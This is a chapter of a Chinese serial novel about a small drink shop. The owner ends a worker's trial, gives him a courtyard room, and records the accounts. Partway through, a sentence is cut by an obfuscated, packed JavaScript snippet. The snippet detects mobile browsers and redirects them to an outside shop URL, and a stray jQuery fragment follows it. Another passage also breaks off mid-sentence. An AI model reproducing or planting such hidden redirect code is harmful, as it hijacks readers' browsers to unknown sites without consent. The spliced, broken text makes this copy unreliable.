七月十一清早，何顺打开新院子的门，先闻见了一股湿木头的气味。
昨夜落过一场急雨，天亮时屋檐已经不再滴水，院中青砖却仍湿着，砖缝里积了几处浅浅的水洼。
西墙下那排木架受了潮，颜色比平日深了一层，架上的竹筒和木桶倒都安然无事。
何顺将两扇院门推开，拿扫帚从正屋门前一路扫到后巷。落叶与泥沙聚在墙根，他俯身用竹片刮了几下，才把堵在水沟口的枯叶清出来。
水流沿着沟槽慢慢退下去，露出底下发黑的青砖。
何春酿从何记后门过来时，他正蹲在排水沟旁，裤脚卷到小腿，布鞋上沾了一圈泥。
“你今日怎么来得这样早？”何春酿问。
何顺抬起头，将竹片往墙边一放：“昨夜雨大，我怕院子漏水，早点过来看看”
“你住在槐树巷，雨后路上都是泥，何苦赶这一趟？”何春酿进了院子，先往正屋和东厢看了一遍。
灶房里没有进水，两口灶也盖得严实。存放米豆的木架离地半尺，底下虽返了些潮气，袋子摸着仍是干的。东厢窗下落了几滴水，何顺已经放了一只破碗接着。
何春酿抬头看了看窗框：“这里大约是缝里进的水，等日头出来，叫木匠补一补。”
“我拿油布先钉一层也成。”何顺跟在她后头，“费不了多少工夫。”
“先回铺里吃早饭。”何春酿回头看他，“窗子的事吃过饭再说。”
何顺应了一声，先把东厢的门重新掩好，又逐一摸过两只冰桶的盖子，才跟着她穿过后巷回何记。
张五娘已经把早饭摆在后院石桌上，一盆稀粥，几只炊饼，还有昨晚剩下的腌萝卜。
周砚平坐在一旁翻昨日收回的小单，见何顺满脚泥进来，问道：“院子进水了？”
“只东厢窗下滴了几滴，别处都好。”何顺在水缸边洗过手，又低头拍了拍裤脚，“沟口叫树叶堵住了，我已经清了。”
张五娘递给他一只空碗：“你今日又是头一个到。前几日还说从槐树巷走来只要半刻钟，我看你每日都恨不得天不亮便出门。”
何顺接过粥碗，在石凳边坐下：“院里放了那么多米糖，还有冰桶和新锅，总得有人早些来看一眼。”
他说完，掰开炊饼泡进粥里，低头吃了起来。
何春酿没有接话，目光却在他身上停了一会儿。
新院正式开火不过十来日，何顺已经摸熟了每日的次序。
早晨先检查木桶、竹筒和冰桶，再把前铺一日要用的饮子送到旧后院分装。午后收回外送器具，夜里收铺以后，还要把院门、窗户和灶膛逐一看过。
这些事原没有人专门交代，多半是他自己看见了便做。
试工之初，何春酿只想着铺子实在缺人，何顺又因帮她丢了福盛楼的差事，她心里过意不去，才让他留下试一个月。如今半个月尚未过去，她已很少再想起“试工”两个字。
吃过早饭，何春酿叫何顺把泥鞋换了，自己则跟周砚平去了前铺。
门板一卸，七月的暑气便跟着街上的人声涌进来。昨夜的雨没能带来多少凉快，日头升到屋脊以后，湿气从砖地里往上蒸，前铺比往日更觉闷热。
午前的生意却仍旧没断。
有人嫌雨后潮热，要甘草水多加一块冰，也有上了年纪的客人摆手说早晨风大，只要常温的。
案桌上预备好的小单一张张递进帘后，张五娘照着分装，何顺按桌号送盏，前后已经很少再有问错的时候。
到了午后，街上吹来一阵风。
那风从檐下穿过去，卷动价牌下方的细绳，也把靠窗客人的衣袖吹得鼓了起来。
一个常来做针线活的妇人放下蒲扇，抬头往外看了看：“昨夜下过雨，今日这风倒有点意思。”
她同桌的妇人笑道：“才七月十一，你便盼着秋凉了？再过两日，日头照样能晒脱一层皮。”
“白日自然还热。”那妇人拢了拢鬓边碎发，“可今早起来，窗根下竟有些凉气。我家小孙子睡觉踢被子，叫我好一顿骂。”
几个人说着天气，又说起城外的稻田。
有人道今年雨水多，怕晚稻生虫。有人说河边的莲蓬已经老了，再过些日子便该有人挑着新藕进城。
何春酿在柜台后听见，手里的铜钱拨慢了一下。
她这些日子只顾着铺里的事，倒没留意时序，七月已经过了十日，白日虽仍是盛暑，清早和夜里却的确同六月有了些不同。
昨日送来的三十斤冰，照盛夏时的用量，今日午后便该剩不下多少。可她方才去看，冰桶里还余了近半。
正想着，何顺提着一只空壶从后院进来：“掌柜的，薄荷青梅饮还剩小半瓮，要不要再做一锅？”
何春酿看了一眼前铺。四桌客人虽坐得满，桌上多是甘草水和木莲冻，点薄荷青梅饮的只有两桌。
何春酿道：“这半瓮卖完再说。”
何顺点头，把空壶放回架下。
当日收铺时，那半瓮薄荷青梅饮还剩了浅浅一层，味道没有坏，放到第二日却不如新做的爽口。
张五娘拿小碗分了四份，给每人面前放一碗：“一人一口，喝完正好，省得留到明日。”
何顺刚端起碗，便闻见薄荷气扑上来，苦笑道：“这几日我每日都喝剩下的，再喝下去，身上怕也要长出薄荷叶了。”
何春酿听见，伸手在桌边敲了一下：“有得喝还堵不住你的嘴。明日少做些便是。”
何顺忙低头喝饮子，不敢再说。
晚间对账时，周砚平用将这三日的冰钱与加冰所得单独算了一遍，拿给何春酿看，“这三日用冰量少了两成，点冰的人少了。”
何春酿托着腮看了一会儿：“那同冰行说一声，每隔两日送三十斤。一下减得太多，赶上哪日又热起来，怕不够用。”
周砚平紧跟着道：“明日起少做半瓮薄荷青梅饮，午后如果不够卖，再补做一锅，也赶得上。”
何春酿点了点头，拿笔在次日备料旁改了数目。
她写完以后，见何顺还没有走，正拿着灯往新院子去，便叫住他：“这么晚了，你还过去做什么？”
“今日收回来的木桶还在院里晾着，我去翻个面，省得底下闷出味。”
“明早再弄也来得及。”
何顺站在后门边，回头笑道：“槐树巷也不远，我弄完便走。”
他说完提灯穿过窄巷，院门开合一声，脚步很快便听不见了。
何春酿看着门口，过了一会儿才问周砚平：“新院西边那间梢房，是不是还空着？”
周砚平抬起眼：“原先堆的旧木料已经搬走，后来只放了几只不用的箩筐。收拾出来，住一个人足够。”
第二日午后，日头仍烈，何顺送货回来，发现新院西梢间的门开着，里头的破箩筐都搬到了廊下。
张五娘蹲在屋里擦地，见他站在门口，便把抹布往水盆里一丢：“还愣着做什么？去把窗子支起来，这屋闷得我喘不过气。”
何顺没进去，只在门槛外看了一圈：“这不是放杂物的屋么？”
“往后不放了。”张五娘抬头看他，故意卖了个关子：“改放人了。”
何顺一时没听明白，正要再问，何春酿从正屋里出来，手里拿着一串新配的钥匙，“你槐树巷那间屋子，一个月多少房钱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792889|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？”
何顺这才隐约明白过来，脸上的笑也收了些：“一百二十文。”
“退起来麻烦么？”
“交的是月钱，提前同房东说一声便成。”何顺看着她手里的钥匙，迟疑道，“掌柜的，你是想让我……”
“你每日来得比谁都早，走得又晚，住近些，既省了你的脚程，也省得我担心。”何春酿把钥匙放到窗台上，“你如果愿意，便搬到这间屋里住，替铺子看着院子。房钱省下来，早晚也少走一趟路。”
“这里是铺子赁来的。”他转身道，“我住进来，会不会不方便？”
“你住西梢间，灶房和东厢照旧做事，没什么不方便。”何春酿道，“只是住进来以后，夜里关门、早晨开院、雨天看屋，都归你管。万一出了事，也要先找你。”
“这是自然。”何顺连忙点头。
“先别忙着答应。”何春酿看了他一眼，“试工也到今日为止。往后正式留在何记，月钱二钱，仍管三顿饭。住这里不另收房钱，看院也不另算钱。你若觉得不合适，现在便说。”
何顺愣了一下：“二钱？我在福盛楼做了几年，一个月也只拿二钱四十文。掌柜的肯让我留下，你放心，我会把活做好。”
何春酿点头：“后日是七月十五，正好去槐树巷把屋子退了。屋子里缺什么，你自己添置。如果手上钱不够，先从月钱里预支。”
何顺拿起另一块抹布，在五娘旁边蹲下，五娘立刻道：“这边我擦过了。”
“那我擦窗下。”
两个人一左一右忙起来，周砚平傍晚回来时，西梢间已经收拾出个样子。
窗户支开，屋里的潮气散了大半，墙边放着旧货铺送来的一张木床，床脚有一处略短，何顺垫了一片薄木板，躺上去也不摇晃。
“这床花了多少钱？”周砚平问。
“拢共二钱八十文。”何顺道，“床二钱五十文，送来另加三十文。”
七月十五一早，何顺从槐树巷搬来一只包袱、一床薄被和几件旧衣。
东西少得可怜，赵二过来送码头空桶时看见，站在院门口打量半天：“你这便算搬完了？一个大男人，家当还没有我码头一只木桶多。”
何顺把包袱放到床上：“赵二哥，东西多了，也要有钱买。”
赵二被他说得没了话，转身从自己带来的竹筐里摸出一只粗陶水壶，往窗台上一放：“码头边买的，壶嘴有一点歪，不漏水。算我贺你乔迁。”
何顺看了看水壶，又看向他：“你什么时候这样大方了？”
“不要便还我。”
“谁说不要？给了就不能收回去。”何顺伸手把壶拿进屋里，倒惹得赵二骂了他一句没良心。
当天夜里收铺，何顺第一次独自留在新院子。
白日里人来人往的院子到了夜间，便只剩下虫鸣与
周砚平提着灯，笑道：“让他住近些，早晨也能多睡半刻钟。”
“就怕他把省下的时辰又拿去干活。”
“那便由他。”周砚平笑了笑，“年轻人有力气，总比叫他闲着难受好。”
何春酿也笑了一下，没有再说。
窗外吹来一阵风，夹着雨后草木的气味。
白日里仍热，到了夜里，风落在手臂上，却已不像月初那般黏腻。
她回屋后将窗子关了一半，只留一道缝透气。
-
簿上记：
七月十一日至七月十五，铺中余利二两六钱四十文。
何顺试工期满，月钱二钱，管三餐，入住新院西梢间看院。
前存十二两八钱四十八文，钱匣现存十五两四钱八十八文。